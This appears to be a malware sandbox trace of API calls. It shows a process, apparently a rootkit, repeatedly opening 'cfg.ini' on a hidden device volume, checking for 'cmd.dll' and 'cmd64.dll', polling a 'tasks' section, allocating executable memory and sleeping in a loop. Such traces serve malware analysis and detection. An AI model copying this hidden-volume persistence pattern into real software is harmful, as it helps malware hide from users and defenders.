[0120.361] IdePortDispatch () returned 0x103 [0120.361] KeWaitForMutexObject () returned 0x0 [0120.361] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.361] KeLeaveCriticalRegion () [0120.361] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.361] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.361] KeEnterCriticalRegion () [0120.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.361] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800344f000 [0120.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.361] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.361] IdePortDispatch () returned 0x103 [0120.361] KeWaitForMutexObject () returned 0x0 [0120.363] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.363] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.363] IdePortDispatch () returned 0x103 [0120.363] KeWaitForMutexObject () returned 0x0 [0120.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.363] KeLeaveCriticalRegion () [0120.363] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.363] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.363] KeEnterCriticalRegion () [0120.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.363] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.363] KeLeaveCriticalRegion () [0120.363] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.363] KeEnterCriticalRegion () [0120.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.364] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.364] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.364] KeLeaveCriticalRegion () [0120.364] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.364] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.364] KeEnterCriticalRegion () [0120.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.364] ExFreePoolWithTag (P=0xfffffa8003bc2340, Tag=0x0) [0120.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.364] KeLeaveCriticalRegion () [0120.364] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.364] ReleaseMutex (hMutex=0xf0) returned 1 [0120.364] Sleep (dwMilliseconds=0x927c0) [0120.374] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.374] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.374] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.374] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.374] KeEnterCriticalRegion () [0120.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.374] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.374] IdePortDispatch () returned 0x103 [0120.374] KeWaitForMutexObject () returned 0x0 [0120.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.375] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.375] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.375] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.375] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.375] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcf00 [0120.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.375] KeLeaveCriticalRegion () [0120.375] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.375] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.375] KeEnterCriticalRegion () [0120.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.375] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.375] KeLeaveCriticalRegion () [0120.375] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.375] KeEnterCriticalRegion () [0120.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.375] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.375] IdePortDispatch () returned 0x103 [0120.375] KeWaitForMutexObject () returned 0x0 [0120.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.375] KeLeaveCriticalRegion () [0120.375] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.375] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.375] KeEnterCriticalRegion () [0120.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.375] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003453000 [0120.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.376] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.376] IdePortDispatch () returned 0x103 [0120.376] KeWaitForMutexObject () returned 0x0 [0120.376] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.376] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.376] IdePortDispatch () returned 0x103 [0120.376] KeWaitForMutexObject () returned 0x0 [0120.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.376] KeLeaveCriticalRegion () [0120.376] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.377] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.377] KeEnterCriticalRegion () [0120.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.377] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.377] KeLeaveCriticalRegion () [0120.377] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.377] KeEnterCriticalRegion () [0120.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.377] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.377] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9a00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.377] KeLeaveCriticalRegion () [0120.377] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.377] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.377] KeEnterCriticalRegion () [0120.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.377] ExFreePoolWithTag (P=0xfffffa8003bbcf00, Tag=0x0) [0120.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.377] KeLeaveCriticalRegion () [0120.377] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.377] ReleaseMutex (hMutex=0xf0) returned 1 [0120.377] Sleep (dwMilliseconds=0x927c0) [0120.391] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.391] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.391] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.391] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.391] KeEnterCriticalRegion () [0120.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.391] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.391] IdePortDispatch () returned 0x103 [0120.392] KeWaitForMutexObject () returned 0x0 [0120.392] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.392] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.392] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.392] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.392] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.392] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbad20 [0120.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.392] KeLeaveCriticalRegion () [0120.392] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.392] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.392] KeEnterCriticalRegion () [0120.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.392] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.392] KeLeaveCriticalRegion () [0120.392] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.392] KeEnterCriticalRegion () [0120.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.392] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.392] IdePortDispatch () returned 0x103 [0120.392] KeWaitForMutexObject () returned 0x0 [0120.393] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.393] KeLeaveCriticalRegion () [0120.393] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.393] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.393] KeEnterCriticalRegion () [0120.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.393] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345c000 [0120.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.393] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.393] IdePortDispatch () returned 0x103 [0120.393] KeWaitForMutexObject () returned 0x0 [0120.393] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.393] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.393] IdePortDispatch () returned 0x103 [0120.394] KeWaitForMutexObject () returned 0x0 [0120.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.394] KeLeaveCriticalRegion () [0120.394] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.394] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.394] KeEnterCriticalRegion () [0120.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.394] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.394] KeLeaveCriticalRegion () [0120.394] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.394] KeEnterCriticalRegion () [0120.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.394] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.394] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbade0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.394] KeLeaveCriticalRegion () [0120.394] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.394] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.395] KeEnterCriticalRegion () [0120.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.395] ExFreePoolWithTag (P=0xfffffa8003bbad20, Tag=0x0) [0120.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.395] KeLeaveCriticalRegion () [0120.395] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.395] ReleaseMutex (hMutex=0xf0) returned 1 [0120.395] Sleep (dwMilliseconds=0x927c0) [0120.410] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.410] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.411] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.411] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.411] KeEnterCriticalRegion () [0120.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.411] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.411] IdePortDispatch () returned 0x103 [0120.411] KeWaitForMutexObject () returned 0x0 [0120.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.411] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.411] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.411] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.411] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.411] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d93c0 [0120.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.411] KeLeaveCriticalRegion () [0120.411] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.411] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.411] KeEnterCriticalRegion () [0120.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.411] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.411] KeLeaveCriticalRegion () [0120.411] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.411] KeEnterCriticalRegion () [0120.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.411] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.411] IdePortDispatch () returned 0x103 [0120.411] KeWaitForMutexObject () returned 0x0 [0120.412] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.412] KeLeaveCriticalRegion () [0120.412] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.412] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.412] KeEnterCriticalRegion () [0120.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.412] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003461000 [0120.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.412] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.412] IdePortDispatch () returned 0x103 [0120.412] KeWaitForMutexObject () returned 0x0 [0120.412] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.412] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.412] IdePortDispatch () returned 0x103 [0120.412] KeWaitForMutexObject () returned 0x0 